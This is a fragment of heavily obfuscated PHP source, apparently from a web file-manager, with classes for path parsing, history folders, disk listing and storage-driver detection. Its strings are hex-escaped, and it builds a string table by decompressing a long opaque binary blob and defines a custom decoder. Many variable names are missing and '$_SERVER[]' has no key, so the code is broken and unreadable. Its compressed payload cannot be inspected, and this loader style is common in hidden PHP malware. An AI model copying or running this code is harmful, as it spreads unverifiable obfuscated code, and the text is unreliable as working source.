(trim($ˁ, $ƭآ[8]) == trim(self::$_historyBase, $ƭآ[8])) { return; } $ = IO::pathFather($ˁ); $ᡎ = IO::has($ˁ, !0); if ($ᡎ[$ƭآ[207]] > 0 || $ᡎ[$ƭآ[208]] > 0) { return; } IO::remove($ˁ); self::clearEmptyFolder($); } private static function getBasePath() { $ӑ =& $_SERVER[]; $ = Model($ӑ[1250])->get($ӑ[1251]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $ӑ[1236]) { $ = $ӑ[1252] . rand_string(8); @rename($, get_path_father($) . $ӑ[8] . $); $ = DATA_PATH . $ . $ӑ[8]; file_put_contents(DATA_PATH . $ӑ[1186], $ӑ[12]); Model($ӑ[1250])->set($ӑ[1251], $); } return $; } $ = DATA_PATH . $ӑ[1252] . rand_string(8) . $ӑ[8]; $ = IO::mkdir($); $ = rtrim($, $ӑ[8]) . $ӑ[8]; file_put_contents($ . $ӑ[1186], $ӑ[12]); file_put_contents(DATA_PATH . $ӑ[1186], $ӑ[12]); Model($ӑ[1250])->set($ӑ[1251], $); return $; } } class KodIO { const KOD_SOURCE = "\x7b\x73\x6f\x75\x72\143\x65\175"; const KOD_USER_RECYCLE = "\173\165\x73\145\x72\x52\145\143\171\143\154\x65\x7d"; const KOD_USER_FAV = "\173\x75\163\145\x72\x46\141\x76\175"; const KOD_USER_FILE_TAG = "\x7b\x75\163\x65\x72\x46\151\154\145\124\141\x67\x7d"; const KOD_USER_FILE_TYPE = "\173\165\x73\x65\162\x46\x69\x6c\x65\124\171\x70\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\147\162\157\x75\160\x52\x6f\x6f\x74\123\145\x6c\x66\x7d"; const KOD_USER_SHARE = "\173\165\163\145\162\123\x68\141\162\x65\x7d"; const KOD_USER_SHARE_LINK = "\173\165\163\x65\162\123\150\x61\162\145\x4c\x69\x6e\153\175"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\x68\141\x72\x65\124\x6f\x4d\145\x7d"; const KOD_SHARE_ITEM = "\x7b\163\150\x61\162\x65\x49\x74\145\x6d\x7d"; const KOD_SHARE_LINK = "\173\163\150\x61\x72\x65\x49\x74\145\155\x4c\x69\x6e\153\175"; const KOD_SEARCH = "\173\x73\145\141\x72\143\x68\175"; const KOD_BLOCK = "\173\142\154\x6f\143\153\x7d"; const KOD_IO = "\x7b\x69\x6f\175"; const KOD_USER_RECENT = "\x7b\165\163\x65\162\x52\x65\x6e\x63\x65\x6e\x74\x7d"; const KOD_USER_DRIVER = "\x7b\x64\162\x69\x76\145\162\175"; public static function typeList() { $ =& $_SERVER[]; return array($[1253] => self::KOD_SOURCE, $[1254] => self::KOD_USER_RECYCLE, $[1255] => self::KOD_USER_FAV, $[1256] => self::KOD_USER_FILE_TAG, $[1257] => self::KOD_USER_FILE_TYPE, $[1258] => self::KOD_GROUP_ROOT_SELF, $[1259] => self::KOD_USER_SHARE, $[1260] => self::KOD_USER_SHARE_LINK, $[1261] => self::KOD_USER_SHARE_TO_ME, $[1262] => self::KOD_SHARE_ITEM, $[1263] => self::KOD_SHARE_LINK, $[1264] => self::KOD_SEARCH, $[1265] => self::KOD_BLOCK, $[1266] => self::KOD_IO, $[1267] => self::KOD_USER_RECENT, $[1268] => self::KOD_USER_DRIVER); } public static function parse($埭) { $뀼 =& $_SERVER[]; $埭 = self::clear($埭); $ = array_values(self::typeList()); preg_match($뀼[1269], $埭, $տ); $ = array($뀼[422] => !1, $뀼[1270] => !1, $뀼[419] => !1, $뀼[84] => $埭, $뀼[1171] => !1, $뀼[1170] => $뀼[12]); if (is_array($տ) && count($տ) == 5) { $𨛆 = $뀼[1271] . $տ[2] . $뀼[327]; if (in_array($𨛆, $)) { $[$뀼[1171]] = $տ[1]; $[$뀼[33]] = $𨛆; $[$뀼[1272]] = substr($𨛆, 1, -1); $[$뀼[399]] = $տ[3]; } $[$뀼[1170]] = $տ[4]; } $Д = array($뀼[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$뀼[1235]] = in_array($[$뀼[33]], $Д); return $; } public static function isTruePath($) { $ۨ =& $_SERVER[]; if (substr($, 0, 1) != $ۨ[1271]) { return !0; } if (strpos($, $ۨ[408]) === 0) { return !0; } if (strpos($, $ۨ[1239]) === 0) { return !0; } if (strpos($, $ۨ[1273]) === 0) { return !0; } if (strpos($, $ۨ[1274]) === 0) { return !0; } if (strpos($, $ۨ[1275]) === 0) { return !0; } return !1; } public static function clear($Ә) { $칚 =& $_SERVER[]; $Ә = str_replace(array($칚[1080], $칚[231]), $칚[53], $Ә); $Ә = str_replace($칚[97], $칚[8], $Ә); $ = $칚[1276]; if (substr($Ә, 0, 3) == $칚[1277]) { $Ә = substr($Ә, 3); } while (strstr($Ә, $)) { $Ә = str_replace($, $칚[8], $Ә); } $Ә = preg_replace($칚[1278], $칚[8], $Ә); if ($Ә == $칚[8]) { return $칚[8]; } $Ә = rtrim($Ә, $칚[8]); return $Ә; } public static function sourceID($藧) { $愍 =& $_SERVER[]; $݈ = self::parse($藧); if ($݈[$愍[33]] !== self::KOD_SOURCE) { show_json(LNG($愍[1279]), !1); } return $݈[$愍[399]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($, $) { return self::makePath(self::KOD_SHARE_ITEM, $, $); } public static function makeFileTypePath($褉) { return self::makePath(self::KOD_USER_FILE_TYPE, $褉); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($ˮ, $ć = '', $榨 = '') { $ =& $_SERVER[]; $ = substr($ˮ, 1, -1); $뻝 = $[1280] . $ . $[1281] . $ć . $[1282]; $뻝 = $榨 ? $뻝 . $榨 . $[8] : $뻝; return $뻝; } public static function hashPath($ڕ, $ꇞ = true) { $҉ =& $_SERVER[]; $ν = is_array($ڕ) ? $ڕ : IO::info($ڕ); $ = _get($ν, $҉[1283], $҉[12]); if (!$ && isset($ν[$҉[402]])) { $ν = IO::info(KodIO::make($ν[$҉[402]])); $ = _get($ν, $҉[1283], $҉[12]); } if (!$ && $ꇞ) { $ = KodIO::parse($ν[$҉[84]]); if (!$[$҉[33]]) { $ = IO::hashSimple($ν[$҉[84]]); } } if (!$) { $ = md5($ν[$҉[84]] . $ν[$҉[76]] . $ν[$҉[85]]); } return $; } public static function hashPathSafe($, $ = true) { $ɯ =& $_SERVER[]; $ś = self::hashPath($, $); return md5($ś . $ɯ[1284] . Model($ɯ[769])->get($ɯ[770])); } public static function initSystemPath() { $ʽ =& $_SERVER[]; if (defined($ʽ[1285])) { return; } define($ʽ[1285], self::systemPath($ʽ[1286])); define($ʽ[1287], self::systemPath($ʽ[1288])); define($ʽ[1289], self::systemPath($ʽ[1290])); define($ʽ[1291], self::systemPath($ʽ[1292])); IOHistory::bindEvent(); } public static function systemPath($) { $ =& $_SERVER[]; $ڿ = $[1293] . ucfirst($); $ްآ = Model($[769])->get($ڿ); if ($ްآ) { return $ްآ; } if ($ == $[1286]) { $ްآ = self::make(Model($[824])->systemRootPathAdd($[534])); } else { $ްآ = self::systemPath($[1286]); $ž = self::sourceID($ްآ); $ްآ = self::make(Model($[824])->mkdir($ž, $)); } Model($[769])->set($ڿ, $ްآ); return $ްآ; } public static function systemFolder($샰) { $ = IO_PATH_SYSTEM_SOURCE . $샰; $佧 = Cache::get($); if (!$佧) { $쬟 = IO::infoFull($); if (!$쬟) { $佧 = IO::mkdir($, REPEAT_SKIP); } else { $佧 = $쬟[$_SERVER[][84]]; } Cache::set($, $佧, 3600 * 10); } return $佧; } public static function defaultDriver() { return Model($_SERVER[][766])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $ = self::defaultDriver(); return $[1294] . $[$[399]] . $[1282]; } public static function defaultDriverInit() { static $ٿ = false; if ($ٿ) { return $ٿ; } $ٿ = IO::init(self::defaultIO()); return $ٿ; } public static function fileTypeList() { $δ =& $_SERVER[]; $ = $GLOBALS[$δ[6]][$δ[1295]]; foreach ($ as $ => $иߺ) { $ڡ = $δ[1296] . $; $ = LNG($ڡ); if ($ڡ != $) { $[$][$δ[32]] = $; } } return $; } public static function diskList($ʮ = true) { $Ĕ = $_SERVER[][1297]; if ($ʮ) { $ᓝ = Cache::get($Ĕ); if (is_array($ᓝ)) { return $ᓝ; } } $ᓝ = self::diskListGet(); Cache::set($Ĕ, $ᓝ, 60); return $ᓝ; } public static function diskListGet() { $ =& $_SERVER[]; $愥 = array(); if ($GLOBALS[$[6]][$[1298]] == $[1299]) { $ = $[1300]; for ($䧢 = 0; $䧢 < strlen($); $䧢++) { $ = $[$䧢] . $[1301]; if (file_exists($)) { $愥[] = $; } } return $愥; } if (!function_exists($[98])) { $愥[] = $[834]; return $愥; } $ = explode($[231], shell_exec($[1302])); array_shift($); array_pop($); $܆ = array($[1303], $[1304], $[1305], $[1306], $[1307], $[1308], $[1309], $[1310]); foreach ($ as $) { $ = preg_split($[1311], $); $ = $[count($) - 1]; if (!strstr($[0], $[1312]) || !$) { continue; } $ = rtrim($, $[8]) . $[8]; if (in_array($, $܆)) { continue; } $愥[] = $; } return $愥; } public static function isSameDisk($ԑ, $鵆) { $ٓ =& $_SERVER[]; if ($GLOBALS[$ٓ[6]][$ٓ[1298]] == $ٓ[1299]) { return strtolower(substr($ԑ, 0, 1)) == strtolower(substr($鵆, 0, 1)); } $В = self::diskList(); $ŷ = !1; $ = !1; sort($В); $В = array_reverse($В); $ԑ = rtrim($ԑ, $ٓ[8]) . $ٓ[8]; $鵆 = rtrim($鵆, $ٓ[8]) . $ٓ[8]; foreach ($В as $٣) { $ = strlen($٣); if (!$ŷ && substr($ԑ, 0, $) == $٣) { $ŷ = $٣; } if (!$ && substr($鵆, 0, $) == $٣) { $ = $٣; } if ($ŷ && $) { break; } } return $ŷ === $; } public static function transferType($, $) { $ꇥ =& $_SERVER[]; $ = self::driverType($); $ב = self::driverType($); if ($[$ꇥ[33]] == $ב[$ꇥ[33]] && $[$ꇥ[1313]] == $ב[$ꇥ[1313]]) { return $ꇥ[1314]; } if ($[$ꇥ[33]] == $ꇥ[867] && $ב[$ꇥ[33]] == $ꇥ[106]) { return $ꇥ[1196]; } if ($[$ꇥ[33]] == $ꇥ[106] && $ב[$ꇥ[33]] == $ꇥ[867]) { return $ꇥ[107]; } return $ꇥ[1315]; } public static function driverType($ȟ) { $λ =& $_SERVER[]; $윿Ѳ = str_replace($λ[1316], $λ[12], strtolower($ȟ->getType())); if ($윿Ѳ == $λ[756] || $윿Ѳ == $λ[1317] || $윿Ѳ == $λ[1318]) { $ȟ = self::defaultDriverInit(); } else { if ($윿Ѳ == $λ[1206] || $윿Ѳ == $λ[1319]) { $ȟ = IO::init($ȟ->pathParse[$λ[1153]]); } } $σ = $ȟ->path; $윿Ѳ = str_replace($λ[1316], $λ[12], strtolower($ȟ->getType())); if ($윿Ѳ == $λ[106]) { return array($λ[33] => $λ[106], $λ[1313] => $λ[12], $λ[84] => $σ, $λ[95] => $ȟ); } return array($λ[33] => $λ[867], $λ[1313] => $ȟ->pathDriver, $λ[84] => $σ, $λ[95] => $ȟ); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($) { $Μ =& $_SERVER[]; $ = $ ? self::driverType(IO::init($)) : !1; return $[$Μ[33]] == $Μ[106] ? !0 : !1; } public static function allowCover($Ŵ, $ = true) { $˳ =& $_SERVER[]; if (is_string($Ŵ)) { $Ŵ = IO::info($Ŵ); } if (!$Ŵ || $Ŵ[$˳[33]] == $˳[75] || $Ŵ[$˳[76]] <= 100) { return !1; } if (isset($Ŵ[$˳[1320]]) || !$Ŵ[$˳[84]]) { return !1; } if (isset($Ŵ[$˳[202]]) && !$Ŵ[$˳[202]]) { return $Ŵ; } static $˃չ = false; if (!$˃չ || !$) { $ӿ = self::driverType(IO::init($Ŵ[$˳[84]])); $ = $ӿ[$˳[95]]; $˃չ = $˳[1321]; if ($ӿ[$˳[33]] == $˳[106]) { $˃չ = $˳[1322]; } if ($ӿ[$˳[95]] && is_array($ӿ[$˳[95]]->config)) { $ = $ӿ[$˳[95]]->config; if (isset($[$˳[1323]]) && $[$˳[1323]]) { $˃չ = $˳[1322]; } } } return $˃չ == $˳[1322] ? !0 : !1; } } goto Až; D: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\316\373\341\373\223\376", "\xa6\xa3\xf3\xd6\xd9\xd7"); $_SERVER[] = explode("\x7c\x4\x7c\x1\x7c\x6", gzinflate(substr("\x1f\x8b\x8\x0\x0\x0\x0\x0\x0\x13\xc5\xbd\x7\x78\x1c\xd5\xd5\x30\x1c\x13\x30\x36\x2d\x85\x1a\x48\x60\x10\x18\x49\xf6\x16\x4b\xb6\x65\x5b\xb6\x6c\xaf\xa4\x95\xb5\x78\xa5\x95\x77\x57\x6e"."\x92\x18\x8f\x76\x47\xda\xb1\x76\x77\x56\x33\xb3\x2a\x2e\xc4\x4\x53\x8c\x31\x24\x74\x2\xa1\x27\x40\xc\xa6\x77\xc\x84\x50\xc2\x4b\xb\x24\x10\x12\x2\x4\xe3\x42\x6f\x49\x20\xa1\x7e\xb7\x9c"."\x5b\x66\x76\x5\xef\xff\xfc\xdf\xf3\x7c\x6\x7b\xe7\x9e\xdb\xdb\xb9\xe7\x9c\x7b\xce\xb9\x8f\xdc\xf8\xd1\xcb\x57\x3f\xb2\x76\xcf\xb5\xe3\xd6\x8e\xbf\x79\xe3\x8d\x1f\x3e\xfa\x21\xfd\x46\xff\xee".strrev('G\'>8ngdT>V]߷߾ҙZ3sM6')."\167\215\373\316\54\175\161\252\36\45\246\171\353\351\217\222\67\35\105\37\61\154\307\246\200\224\231\357\63\372\351\267\221\247\277\101\372\323\31\217\132\172\316\164\164\32\14\320".strrev('w#Z/ZYg>9zBO#jǶ'."\r".'fk')."\101\4\40\255\71\132\257\146\103\111\315\215\152\163\270\43\32\133\256\46\227\167\204\41\105\257\72\130\324\255\121\32\42\237\11\107\263\234\244\221\323\171\212\141\213\267\253\61"."\xbc\x30\xd2\xae\x24\xe3\xa1\xf6\x44\xa8\x29\x19\x89\xb5\x53\x70\x53\xac\xad\x2d\x92\x2c\x85\xc7\x63\xd1\x68\x63\xa8\x69\x51\x69\x4c\x47\x3c\xb4\xb0\x2d\xa4\xa0\xf6\x65\x75\xd5\xc8\xf7\x99\x55".strrev('9`rZ0'."\r".',ً4п+ƼM-RJ')."\165\172\221\76\312\241\364\103\53\72\246\221\117\321\100\170\304\261\64\1\107\155\115\241\211\326\363\120\124\42\34\15\67\45\25\334\100\245\45\36\153\123\140\22\162\232\355\350"."\226\262\264\65\34\17\53\270\321\15\225\244\257\225\12\254\227\166\64\24\112\50\32\125\306\52\301\321\163\5\126\14\315\123\246\260\130\274\71\34\127\32\227\53\142\204\122\146"."\56\147\346\3\250\24\64\223\216\324\324\160\74\116\77\174\260\274\243\21\74\151\20\210\265\264\44\302\74\4\235\133\34\105\55\231\6\353\323\25\112\367\145\35\165\110\313\26".base64_decode('2TIdoL+V8AO/pg1Ld9DIG0VYplCEafJtBR9FllpnED0NHzmU34Sdh7bhEP1smEd/')."\347\100\242\136\25\307\351\226\243\352\371\224\231\66\362\260\131\347\303\242\323\234\114\263\145\240\4\64\334\147\146\323\354\333\66\126\103\127\372\214\254\336\136\314\311\111\170\60"."\225\61\262\151\213\355\257\157\112\111\203\121\276\135\161\132\21\52\240\226\360\235\156\364\215\212\375\206\323\165\360\130\333\54\132\51\75\202\366\7\15\327\0\130\167\34\324\71"."\x18\x1b\xc3\xec\x2c\x64\x4d\x2d\x9d\xd0\x2d\xde\x35\xc3\x6c\x41\x5\xc5\x8a\x8e\xc\x2c\x92\x64\x2d\xa6\x95\x6b\x46\x98\x1\xea\x47\xbb\xc2\xe8\x2c\x13\x31\xc0\xf6\x45\x5a\x1a\xb1\x60\x55\xd7"."\111\376\257\172\272\26\240\177\252\1\365\165\103\233\62\172\66\253\352\43\72\154\234\134\172\206\315\6\43\150\367\32\371\40\202\320\140\44\246\146\64\73\323\226\236\241\222\134"."\xc\xa3\xa6\xf5\x91\x40\x21\x53\x80\x5d\xcd\x37\x72\xb7\x6b\x61\xe3\xa1\x6b\x37\x9d\xb0\x84\x97\xb3\x66\x4a\xcb\xca\x5d\xa4\xdf\x19\xc7\x29\x24\xf4\x7c\x1a\x8f\x4\x74\xc5\x1c\xce\x93\x91\x2a".base64_decode('6DokavYpaaVNWa601hv1NsuYy/Iv1jsOsznQGWHTme6jH73sWKiACg2bYDixPbVC')."\x21\x6b\xa4\x34\xc7\x30\xf3\x41\x33\xe5\xe8\x8e\xdf\x76\x2c\x5d\x83\x12\x43\xa9\x94\x6e\xdb\xfe\x26\x33\xef\x58\x66\xd6\x1f\xca\x66\xcd\x61\x7f\xcc\x32\xfa\x8d\x7c\xbd\x32\x19\x90\x2d\x8a\x44".base64_decode('m9qPEWA97NSKOQpeOLiayQ1Fp88/i+1AntrS8nafbvnDsDPqFdRYjgVZsmbDLpi2')."\x81\x9b\x57\xaf\x68\x8e\xa3\xa5\x32\x18\x83\x88\xe2\x1b\xbe\x21\xbd\x91\xcf\x1a\x79\xbd\x24\x6d\x78\xa4\x60\x58\xba\xcd\xda\xaa\x2c\x6c\x4b\x42\x21\xa8\x74\xdd\xdf\x61\x69\xfd\x39\xad\x5e\x29"."\24\173\321\310\300\116\55\3\243\251\141\150\352\225\24\16\372\224\134\321\166\374\226\216\120\221\201\216\73\30\344\110\237\277\15\357\53\103\117\373\23\10\143\3\170\332\324\351"."\xa\x5a\x3a\xa\x8b\xa3\xd0\xd6\x64\xb2\x43\x8d\xb4\xa0\x23\xb9\x3d\xac\xb6\x85\x92\x4d\xad\xd0\x6c\x47\xeb\x67\x6d\x8e\x22\x3c\xcc\x8b\x64\xc0\x65\x7e\xb4\xbf\xf0\xe2\x6a\x47\x7d\x15\xc0\xe"."\x73\x58\xb7\x50\xc5\x8d\xa3\xf5\xca\x80\x99\xee\x35\x47\x2\x2c\xa\x27\x4e\x20\x44\xc3\x12\xe3\xe9\x2e\x38\xfe\xb8\x96\xef\xc7\xe3\xd3\x3b\xea\xe8\xb0\x4\xed\xa1\x7e\xf7\x40\x47\xf5\x7c\xbf"."\x93\x61\x19\x13\xe1\xf8\x92\x70\x5c\x4d\xc4\x5a\x92\x4b\x43\x71\x38\xcc\xf3\x68\x95\x8c\xb0\xaa\x70\xd1\x59\x7f\x5c\x4f\xa3\xa1\x4f\x39\x2c\x9f\x56\xc0\xa3\xc6\xd2\xe0\xcd\x81\xe7\x8a\xc5\xe2".base64_decode('DcPiopGFeGCa/TZK5JdTsbKjRs7AbXd4DBlJdNIvhAYFSYcauu3JVd3pKdV+9O/k')."\352\256\356\346\300\344\236\371\101\103\344\11\326\4\152\224\332\251\165\112\7\42\75\14\55\253\100\247\113\122\114\125\142\213\334\303\42\126\163\336\314\353\337\60\70\370\354\222"."\266\275\147\130\51\60\36\136\334\31\116\44\325\266\160\262\65\326\14\265\207\103\360\25\65\351\266\145\275\355\242\77\75\60\273\75\364\107\65\354\26\351\130\301\101\216\176\124"."\263\167\25\232\214\66\235\341\330\76\212\243\43\71\255\137\102\362\30\212\103\155\246\245\273\41\342\250\132\152\244\371\31\201\202\255\272\321\237\201\361\62\160\151\51\63\153\132".strrev('A_lbJѲ;>똦N'."\n".'a EV'."\r".'t)FcZ')."\62\251\266\205\341\375\140\142\32\372\137\40\371\264\231\323\30\312\44\310\116\117\123\154\107\101\223\135\61\255\272\46\216\153\307\162\114\14\265\134\111\320\320\146\114\230\342\176"."\235\65\251\310\333\306\132\231\326\263\72\33\227\214\316\16\214\251\220\14\35\170\174\324\372\370\354\41\272\17\101\305\111\155\330\161\224\23\243\167\26\136\212\11\145\1\310\242"."\x13\x2a\x46\x66\x5c\x84\x3b\x2c\xbd\xcf\x80\x4d\x9a\x47\x33\xd2\xa6\x59\x3\xac\xf\x68\x6\xc4\x5a\xc1\x1\x69\x1d\xb5\x74\x46\xa3\x6a\x53\xac\x3d\x89\x48\x6a\xa\x59\x1a\x8f\x24\xc3\x6c\xdd".base64_decode('hprVUFMHP3jFjEICjGBKTw8KGaqFmUXNCYpjDmHsgpm3dX8KcgjSuyQqLU4BwDPi')."\344\360\34\6\43\176\55\267\332\237\103\133\300\317\33\352\76\203\225\244\174\224\107\140\156\4\162\307\303\210\270\42\166\370\167\304\22\220\141\76\206\42\2\254\127\267\240\262"."\x8e\x4e\x88\xca\x49\xeb\x62\x61\x18\x80\xfb\xb0\xf3\x5c\x3\xb2\x2a\xb4\x34\xc1\x10\x73\x11\xa5\xb7\x8c\xd5\x9a\xe8\xd2\x7c\xd6\x1e\xd6\x91\x5c\x56\xd0\x73\xee\x5e\xf9\xc5\xc8\x27\x5b\x23\xed"."\x8b\xd4\xb6\x58\x73\x38\xaa\x46\xda\x11\x66\x4a\x96\xc2\x3b\x3b\x9a\x43\x6c\x2a\x65\x78\x63\x2c\xd9\xea\x82\x76\x22\xdc\xb4\x24\x14\x8d\x78\x93\x87\x97\x45\x12\xc9\x44\xd9\x28\x4\xeb\xc\x7b"."\142\20\43\330\21\17\267\104\226\361\140\113\44\34\155\116\250\115\241\246\126\221\246\75\324\6\1\265\17\263\142\166\320\235\136\105\110\66\301\31\72\165\10\63\247\154\260\124"."\x17\xf\xa5\x32\xee\x40\x15\x6b\x8\x1d\xa6\x3a\xac\x34\xe8\x2e\x66\x89\x49\x4f\x80\x21\x4e\x99\x45\x76\x4\x70\x42\x32\xc7\x30\x43\x4e\x83\x4d\xa4\xb1\x83\xb2\x8a\xfe\x54\x2b\xa1\x84\xe2\x14"."\x54\x8e\x3\x7a\x47\xf9\x27\xe9\x6\xb\x23\x92\x11\xea\x57\x0\xe1\x97\xb4\x40\xc5\x69\x1a\xf5\x3e\x8e\x87\xcb\x3\x42\x7d\xe\x47\xf7\x9e\x30\x5a\xfc\x22\xe\xcd\x40\x88\xf0\xde\x68\x25\x90".base64_decode('GYFqDLSVLCfEmtMn+F411hGOhzDXrC6Nx9oXQobhjM4aEIHhr2LEFTDPjkBDiDLS').base64_decode('GBclBn2VyYZyLf05jv4gohAq1/Ns1HsxRmanC/voQ7uBYVOzyGvrNc0s26eIPuAI')."\203\63\337\253\154\266\110\106\30\252\231\302\16\50\70\25\222\261\105\341\166\225\255\54\32\222\126\43\5\40\166\66\26\207\1\161\314\1\306\223\321\310\170\70\301\166\271\245"."\xf\x16\xd\x36\x5c\xc1\xc0\x14\x58\xc5\x3a\x3a\x78\xa0\xfa\xe0\x9\xdd\xc3\x53\xaa\xba\xfc\x53\x2\x3d\xe8\xa3\x7a\xf2\x2\x1a\x84\x50\x77\xc0\x15\x3c\x16\xf2\x17\x2d\x9e\x1b\x93\x4d\x55\xf6"."\xfc\xea\xfa\xee\x60\x77\xb0\x6a\x7e\x7d\x57\xc8\xbf\x5a\xf3\xaf\x9e\xea\x9f\xed\xef\x99\xd2\x1d\xa8\x9e\x2\x80\x9e\x35\xb5\xbe\xe9\xeb\x70\x2\x94\x70\xfe\x31\x3d\xe8\xa7\xa1\x7b\xfe\xa4\x6e".base64_decode('/3EnrlzQ1d1TWT/l6O7AMd3DPZOr57N6UkUL8ZupUd7U9JQq1CRETvEkeYLypAQs')."\x62\xb5\x51\x10\xd0\x35\x75\xeb\x18\x1c\xcd\xa1\xde\x2f\x72\x74\xf9\xbb\xa7\xf4\xcc\x97\xf2\x49\x20\x6f\x5d\x88\x5c\x42\xf8\x37\xc3\xd3\x85\xfc\x2b\x70\xcf\x78\x56\xbc\xef\x61\x7d\x14\xf3\x29"."\x81\x3d\xf1\xbe\xe8\xd5\x52\x80\x7\x8c\xfe\x3c\xdf\x42\xe8\x24\xe7\x7c\xba\x9b\x8a\x5f\x33\x89\xfe\xae\x63\x13\xd9\xaf\x8f\x30\xd4\x90\xef\x33\x2c\x58\x9d\xc5\xbc\x31\xc8\xc4\x10\x79\x7d\x10".base64_decode('PkyHre9e3RnW2fJAcFcYLQ7GOqIoKZQlhCHUgBkqvkb5YjIKKqawhnkoredhniZC')."\152\73\245\25\364\204\324\103\125\115\206\32\243\141\225\141\30\300\304\54\114\260\142\43\27\331\241\256\11\214\312\360\103\112\220\360\204\133\201\235\157\17\146\25\202\30\24\335"."\262\114\253\236\110\57\355\142\1\23\144\210\63\163\320\330\52\210\247\127\32\346\51\164\310\41\237\52\117\100\101\143\164\2\346\266\165\261\351\61\206\202\66\25\304\14\331\210"."\x8c\x62\xd4\x4d\xb0\xaa\xbb\xbb\xd8\xa5\xa7\x7b\xba\xd0\xc2\xd7\xfc\x7d\x3d\x6b\xa6\xad\xab\x66\x54\x7e\xb0\x1b\xfd\x61\x81\x50\x19\x39\x9a\xca\xb1\xa1\x8a\xce\xe7\x0\x6e\x7\x17\xa5\xb8\x2"."\x3c\x9a\x6\x4d\x8b\x93\x48\x5\x17\x11\xed\x98\x8e\x96\x75\x15\x91\xc4\x10\x86\x9a\xd8\xc1\xd\x42\x5\x3a\xdb\x51\x81\xb1\xf0\x51\x2e\x9\x20\x9\x3a\x6d\xe7\x4c\x3c\x97\x8d\x48\x12\x30\x9c".strrev('1IìيZeJu%z;j1\'h:IGd0T7(E\';#')."\0\65\300\136\1\41\252\37\116\203\51\345\262\266\230\26\343\210\47\103\63\52\46\227\113\30\311\347\21\377\52\57\65\161\310\56\14\41\162\46\251\124\61\201\237\22\151\127"."\x1a\x63\xb1\x68\x38\xd4\xae\xe0\xf3\x1c\xce\x21\x44\x2c\x24\xc2\x1d\x21\x74\x88\x61\xde\x3a\x91\xc\x83\xc\x32\xd2\xec\x67\xe5\x2e\xf3\x47\x80\xc3\xe2\x1f\x6\xc\xbb\x59\xc0\x18\x44\x45\x63"."\242\42\116\146\200\315\45\102\210\16\113\12\22\62\10\141\102\323\207\45\104\76\114\151\370\120\37\174\230\75\362\11\332\335\47\4\156\276\41\103\37\46\37\234\330\366\1\15"."\xee\x73\x34\xb\x11\xc\x98\x48\x86\xcf\x48\xb3\xcf\xb0\x9b\x9\xdb\x40\x2a\x20\x51\xac\x41\x4e\x6\xcb\x41\xb2\xda\xa8\x8f\x36\x2e\xaa\xf\xe9\x59\x1f\x6b\x9a\x8f\xb5\xd8\xc7\x78\x43\x1f\x61"."\xe8\x9a\xa1\x59\x9d\x68\x73\x41\xb3\xc8\x27\xc2\xa1\x19\x1f\x5e\x4e\x78\x35\xfb\x84\x8\xd0\x67\xe\xe7\x75\x8b\x24\x81\x61\x12\x1c\x87\x4f\x70\x23\xbe\x7e\xcb\x2c\x16\x3a\x58\x9d\x52\x88\x36".base64_decode('CwCizRwQN03Hx3hNn8yGQitCbNeUHc7yvSHj720EzB2OKh2lb5ms0vlws9xraInA')."\xd3\xaf\x63\x67\x9e\x2b\x8d\x98\x5e\xb6\xd\xb3\xba\x8\xe1\x9\x10\x5f\x4b\xc4\x36\xc6\x1d\x6a\xd1\x86\xe4\x95\x57\x6e\x15\xb2\x93\x87\x2d\x63\x21\xfd\x13\x72\x5f\x41\x9\x7b\xf9\x4a\xaf\x44".base64_decode('GFea1PoTUnWO1s/qwqgMxY6ZlH7H9dRoSjCqzRL76w65N1cRlZfQ+jyd9JFdVm6H')."\x94\x5f\x1\x7c\xd5\xf3\x9\xdb\x67\xe2\x44\x36\xe2\x6c\x2b\xf0\xd9\x77\xed\xa0\x6f\xdf\xbb\xd0\x4b\x82\x2e\x63\x5\x41\x70\xd0\xc6\x62\x94\x9d\x40\x7\x60\x4b\x96\xd\x51\xad\x1c\xd\xc8\xda"."\347\16\341\255\27\40\310\233\134\253\44\270\104\43\32\156\111\52\307\307\20\246\63\114\225\346\121\161\142\205\374\143\346\25\127\331\154\270\224\6\22\57\302\132\76\115\41\53"."\xd1\xa9\xb0\xb2\xa1\x82\x55\x52\xe1\xca\x2e\x16\x8d\xbb\x11\x3e\x16\x54\x4a\x97\x21\x1e\x6e\x79\x10\xf0\xe2\x20\xdd\x17\x27\x19\x3\xc5\xc4\xc1\x59\x4\x2a\x51\xb3\x81\x5f\xc3\x62\x72\xf8\xd2"."\x19\x4c\x4c\xad\xbc\x4a\x25\x64\x24\x0\xac\x5d\xae\x7a\x71\x50\xec\x30\xb6\x24\x14\x5c\x81\x4f\xa2\x6b\x30\xc2\xf1\x8b\xbd\x22\x5\xdd\x43\xee\x59\x91\x9e\xe3\x16\xf\x51\x87\x91\x1f\x35\xf2"."\262\104\113\100\305\211\55\10\6\274\325\75\62\270\346\261\276\351\21\43\44\146\76\220\244\371\262\106\176\100\72\314\205\70\7\265\36\147\225\332\16\45\171\132\316\220\256\337"."\265\241\141\221\147\64\113\214\37\103\103\30\27\10\321\40\116\42\202\122\262\76\155\110\320\57\256\74\22\62\261\235\121\326\140\371\323\135\50\15\66\373\310\157\53\352\270\274".strrev(''."\r".'3h%\\3\\[$Yg?DK,>I!'."\r".'Q`C')."\161\25\303\31\100\153\250\222\304\200\343\34\67\102\243\55\11\161\374\216\116\115\164\346\321\157\104\332\147\321\121\147\5\360\26\131\210\17\54\371\254\160\323\33\11\35\365\31".base64_decode('8onSEiVxcmohLcK4X5wVbFzFDhNjLbZTv2gQHlq1tB14AZcPt1gmp4P5se9N1EQY').strrev('b*p'."\0".'Y|KY(s1A=@З) 